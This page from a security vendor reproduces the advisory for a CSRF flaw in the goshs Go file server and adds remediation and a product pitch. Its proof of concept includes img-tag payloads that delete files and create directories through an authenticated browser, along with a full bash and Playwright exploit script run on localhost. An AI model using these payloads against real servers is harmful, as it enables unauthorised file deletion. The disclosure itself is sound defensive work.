Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

GHSA-jrq5-hg6x-j6g3 — v2

HIGH

GHSA-jrq5-hg6x-j6g3 is a high-severity (CVSS 8.1) Cross-Site Request Forgery (CSRF) vulnerability in github.com/patrickhener/goshs/v2. A fix is available for github.com/patrickhener/goshs/v2 — see the affected versions and patch details below.

goshs has CSRF in state-changing GET routes enables authenticated file deletion and directory creation

Also known asCVE-2026-40883GO-2026-5479
Published
Apr 14, 2026
Updated
Jun 25, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-jrq5-hg6x-j6g3.

EPSS Exploitation Probability

via FIRST.org ↗
0.1%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs4th percentile — riskier than 4% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-jrq5-hg6x-j6g3 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/patrickhener/goshs/v2

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

goshs contains a cross-site request forgery issue in its state-changing HTTP GET routes. An external attacker can cause an already authenticated browser to trigger destructive actions such as ?delete and ?mkdir because goshs relies on HTTP basic auth alone and performs no CSRF, Origin, or Referer validation for those routes. I reproduced this on v2.0.0-beta.5.

Details

The vulnerable request handling is reachable through normal GET requests:

  • httpserver/handler.go:118-123 dispatches ?mkdir directly to handleMkdir()
  • httpserver/handler.go:180-186 dispatches ?delete directly to deleteFile()

Authentication is enforced only by HTTP basic auth:

  • httpserver/middleware.go:20-87 accepts any request that presents valid cached or replayed basic-auth credentials

The resulting state changes hit filesystem mutation sinks:

  • httpserver/handler.go:683-718 calls os.RemoveAll() in deleteFile()
  • httpserver/handler.go:961-1000 calls os.MkdirAll() in handleMkdir()

Because browsers can replay HTTP basic-auth credentials on subresource requests, an attacker-controlled page can embed:

  • <img src="http://127.0.0.1:18095/victim.txt?delete">
  • <img src="http://127.0.0.1:18095/csrfmade?mkdir">

If the victim has already authenticated to goshs, those requests are treated as legitimate authenticated actions and the server mutates the filesystem.

PoC

Manual verification commands used:

Terminal 1

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
go build -o /tmp/goshs_beta5 ./

rm -rf /tmp/goshs_csrf_root /tmp/goshs_csrf_site
mkdir -p /tmp/goshs_csrf_root /tmp/goshs_csrf_site
printf 'delete me\n' > /tmp/goshs_csrf_root/victim.txt

cat > /tmp/goshs_csrf_site/delete.html <<'HTML'
<!doctype html>
<html>
  <body>
    <img src="http://127.0.0.1:18095/victim.txt?delete">
  </body>
</html>
HTML

cat > /tmp/goshs_csrf_site/mkdir.html <<'HTML'
<!doctype html>
<html>
  <body>
    <img src="http://127.0.0.1:18095/csrfmade?mkdir">
  </body>
</html>
HTML

/tmp/goshs_beta5 -d /tmp/goshs_csrf_root -p 18095 -b 'u:p'

Terminal 2

python3 -m http.server 18889 --directory /tmp/goshs_csrf_site

Victim actions:

  1. Open http://127.0.0.1:18095/ in a browser and authenticate with u:p.
  2. Visit http://127.0.0.1:18889/delete.html.
  3. Visit http://127.0.0.1:18889/mkdir.html.

Two terminal commands I ran during local validation:

test -e /tmp/goshs_csrf_root/victim.txt && echo EXISTS || echo DELETED
test -d /tmp/goshs_csrf_root/csrfmade && echo CREATED || echo MISSING

Expected result:

  • the first check prints DELETED
  • the second check prints CREATED

PoC Video 1:

https://github.com/user-attachments/assets/94b78934-0a70-479f-9b89-43a859939473

Single-script verification:

'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc3'

Observed script result:

  • Delete status: DELETED
  • mkdir status: CREATED
  • [RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET

PoC Video 2:

https://github.com/user-attachments/assets/1143e039-81e4-4476-a1c3-f81ae46c9ede

gosh_poc3 script content:

#!/usr/bin/env bash
set -euo pipefail

REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
PLAY_DIR='/tmp/codex-playwright'
BIN='/tmp/goshs_beta5_csrf'
PORT='18095'
ATTACKER_PORT='18889'
CHROME='/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'
WORKDIR="$(mktemp -d /tmp/goshs-csrf-beta5-XXXXXX)"
ROOT="$WORKDIR/root"
SITE="$WORKDIR/site"
GOSHS_PID=""
ATTACKER_PID=""

cleanup() {
  if [[ -n "${ATTACKER_PID:-}" ]]; then
    kill "${ATTACKER_PID}" >/dev/null 2>&1 || true
  fi
  if [[ -n "${GOSHS_PID:-}" ]]; then
    kill "${GOSHS_PID}" >/dev/null 2>&1 || true
  fi
}
trap cleanup EXIT

mkdir -p "$ROOT" "$SITE"
printf 'delete me\n' > "$ROOT/victim.txt"

cat > "$SITE/delete.html" <<HTML
<!doctype html>
<html>
  <body>
    <img src="http://127.0.0.1:${PORT}/victim.txt?delete">
  </body>
</html>
HTML

cat > "$SITE/mkdir.html" <<HTML
<!doctype html>
<html>
  <body>
    <img src="http://127.0.0.1:${PORT}/csrfmade?mkdir">
  </body>
</html>
HTML

echo "[1/6] Building goshs beta.5"
(cd "$REPO" && go build -o "$BIN" ./)

echo "[2/6] Starting goshs with HTTP basic auth"
"$BIN" -d "$ROOT" -p "$PORT" -b 'u:p' >"$WORKDIR/goshs.log" 2>&1 &
GOSHS_PID=$!

for _ in $(seq 1 40); do
  if curl -s -u u:p "http://127.0.0.1:${PORT}/" >/dev/null 2>&1; then
    break
  fi
  sleep 0.25
done

echo "[3/6] Serving attacker pages"
python3 -m http.server "$ATTACKER_PORT" --directory "$SITE" >"$WORKDIR/attacker.log" 2>&1 &
ATTACKER_PID=$!

if [[ ! -d "$PLAY_DIR/node_modules/playwright-core" ]]; then
  mkdir -p "$PLAY_DIR"
  (cd "$PLAY_DIR" && npm install --no-save playwright-core >/dev/null)
fi

if [[ ! -x "$CHROME" ]]; then
  echo "[ERROR] Chrome not found at $CHROME" >&2
  exit 1
fi

echo "[4/6] Visiting attacker pages from an authenticated browser"
node - <<'NODE'
const { chromium } = require('/tmp/codex-playwright/node_modules/playwright-core');

(async () => {
  const browser = await chromium.launch({
    headless: true,
    executablePath: '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome',
  });
  const context = await browser.newContext({
    httpCredentials: { username: 'u', password: 'p' },
  });
  const page = await context.newPage();
  await page.goto('http://127.0.0.1:18095/', { waitUntil: 'domcontentloaded' });
  await page.goto('http://127.0.0.1:18889/delete.html', { waitUntil: 'domcontentloaded' });
  await page.waitForTimeout(1200);
  await page.goto('http://127.0.0.1:18889/mkdir.html', { waitUntil: 'domcontentloaded' });
  await page.waitForTimeout(1200);
  await browser.close();
})();
NODE

echo "[5/6] Verifying impact"
DELETE_STATUS="MISSING"
MKDIR_STATUS="MISSING"
if [[ ! -e "$ROOT/victim.txt" ]]; then
  DELETE_STATUS="DELETED"
fi
if [[ -d "$ROOT/csrfmade" ]]; then
  MKDIR_STATUS="CREATED"
fi

echo "[6/6] Results"
echo "Delete status: $DELETE_STATUS"
echo "mkdir status: $MKDIR_STATUS"

if [[ "$DELETE_STATUS" == "DELETED" && "$MKDIR_STATUS" == "CREATED" ]]; then
  echo '[RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET'
else
  echo '[RESULT] NOT REPRODUCED'
  exit 1
fi

Impact

This issue lets an external attacker abuse an authenticated victim's browser to perform filesystem mutations on the goshs server. In the demonstrated case, the attacker deletes an existing file and creates a new directory without the victim intentionally performing either action. Any deployment that relies on HTTP basic auth for web access is exposed to cross-site state changes when a user visits attacker-controlled content while authenticated.

Remediation

Suggested fixes:

  1. Move all state-changing functionality such as delete and mkdir off GET routes and require non-idempotent methods such as POST or DELETE.
  2. Add CSRF protections for authenticated browser actions, including per-request CSRF tokens plus strict Origin and Referer validation.
  3. Treat any rendered HTML content as untrusted and isolate it from issuing authenticated same-origin requests.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/patrickhener/goshs/v2≥ 2.0.0-beta.4&&< 2.0.0-beta.62.0.0-beta.6go get github.com/patrickhener/goshs/v2@v2.0.0-beta.6

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/patrickhener/goshs/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/patrickhener/goshs/v2 to 2.0.0-beta.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jrq5-hg6x-j6g3 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-jrq5-hg6x-j6g3 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-jrq5-hg6x-j6g3. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary goshs contains a cross-site request forgery issue in its state-changing HTTP GET routes. An external attacker can cause an already authenticated browser to trigger destructive actions such as `?delete` and `?mkdir` because goshs relies on HTTP basic auth alone and performs no CSRF, `Origin`, or `Referer` validation for those routes. I reproduced this on `v2.0.0-beta.5`. ### Details The vulnerable request handling is reachable through normal GET requests: - `httpserver/handler.go:118-123` dispatches `?mkdir` directly to `handleMkdir()` - `httpserver/handler.go:180-186` dispatches
O3 Security · Impact-Aware SCA

Is GHSA-jrq5-hg6x-j6g3 in your dependencies?

O3 Security finds GHSA-jrq5-hg6x-j6g3 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

Scan my dependencies How O3 SCA works
GHSA-jrq5-hg6x-j6g3: v2 CSRF (High 8.1) | O3 Security